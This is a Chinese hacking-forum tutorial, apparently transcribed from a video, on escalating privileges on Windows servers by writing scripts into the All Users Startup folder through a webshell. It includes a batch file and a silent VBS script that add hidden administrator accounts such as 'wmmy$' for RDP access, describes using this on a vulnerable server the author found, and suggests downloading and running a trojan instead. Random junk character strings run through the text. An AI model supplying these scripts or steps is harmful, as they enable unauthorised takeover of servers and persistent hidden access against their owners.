[原创教程] 3AST提权课程之启动项提权 权课程

wmmy

大家好，我是完美蚂蚁 今天给大家带来的提权教程是
$ n0 c8 D/ @. p; E启动 提权7 H1 A# j5 P; z0 u
C:\Docume~1\All Users\「开始」菜单\程序\启动" J# n. ~0 B2 [1 W$ x
在这里必须有写入权限 否则此方法无效# h! N  |& q: o' l) q
因为我是在网吧 这里显示不了路径4 [$ t6 B0 G: w: U0 l
我去服务器上演示给大家看
6 q5 i% U  x8 t6 t! e3 c' k大家看到了把 就是这个路径 在这个里面写入文件 等候服务器从起 就会自动执行我们的* I3 h$ F' [: z* n
文件 从而运行我们的文件" x' z; G- |) Z0 ]
这里有两中方式 第一种是批处理
1 W+ g8 n/ L+ J我们来看下目前 我机器上的用户组' k! w/ P4 B. m5 S- c2 i
目前我们没有521这个用户
# c- {: S' L1 S% X看到了把 已经添加到管理组中去了 刚才我们运行程序的时候 一闪而过一个黑色提示. G2 H! u+ l0 \
大家看到了吧  如果是在服务器上运行 一样会有这个提示的 细心的管理员有可能发现, ?6 r% L; ]; H' ^  u0 E. q
下面我们来介绍第二中方法使用VBS脚本 大家都知道VBS脚本是没有这个提示的
" x, m2 w9 x1 @- `5 K大家看 已经成功加入了WMMY用户- l4 ]  I9 h, m) P0 z& t; H2 ^- |
网络实战才是我们练手的目的 我已经找到一个含有这种漏洞的WBESHELL了
) k0 r; i+ j% s' O8 w6 S当前终端服务端口: 33895 ?1 F7 T8 e( A
系统自动登录功能未开启
' j8 o4 \0 D. E* N$ z0 q$ Y3389 已经打开了 我们只需要拥有一个管理员权限的用户就可以了
, ?6 _) t+ }) b# i, v& P5 lC:\Docume~1\All Users\「开始」菜单\程序\启动 这个是默认的路径8 q( {7 {% @( g- i
第一种隐蔽性太差  我们就用第二种吧  [! o2 G* {* i4 \
已经写入了 我们只需要等待服务器从起 那个VBS脚本文件就会把我们的用户加入进去
3 t- A, D% d  Q% C2 `1 Z% P从而取得了3389的登陆权限9 }" k/ i0 n0 f3 {( o8 y% `5 G/ M6 H
其实在VBS脚本中 我们不一定需要添加管理员帐户可以 直接让VBS下载运行我们的木马* I* o* S; l. X( _% E7 C7 d# g
基本原理都差不多  我就不多介绍了, E7 R* p5 W+ j  E8 D7 K
教程结束```
! h, N- z- K1 s* @@echo off
; _- d" [0 b# i, u8 ~6 `net user 521 521 /add
1 D6 x9 C4 I; k0 Z5 Mnet localgroup administrators 521 /add$ K6 z' ]( N% b" j

  [2 O- [. a* P  @2 n- z) \on Error Resume next  b+ B) e, R5 T0 l, K( ]/ s
set wshshell=createobject("wscript.shell")
0 K* j2 Z( ^- h/ B/ @8 ]9 ra=wshshell.run("net user wmmy$ 1227 /add",0)
+ M: B& T1 q7 J& M. s; g$ N) Oa=wshshell.run("net localgroup administrators wmmy$ /add",0)
; J0 |* \, \, A, B1 s$ X  t( e( c1 T% C, N5 ]* o: ]5 i) P5 p* t
- z1 ^6 L: w. G& k, }6 l# ~
点击下载
0 W7 P) Y+ h) Q$ \6 u# {3 X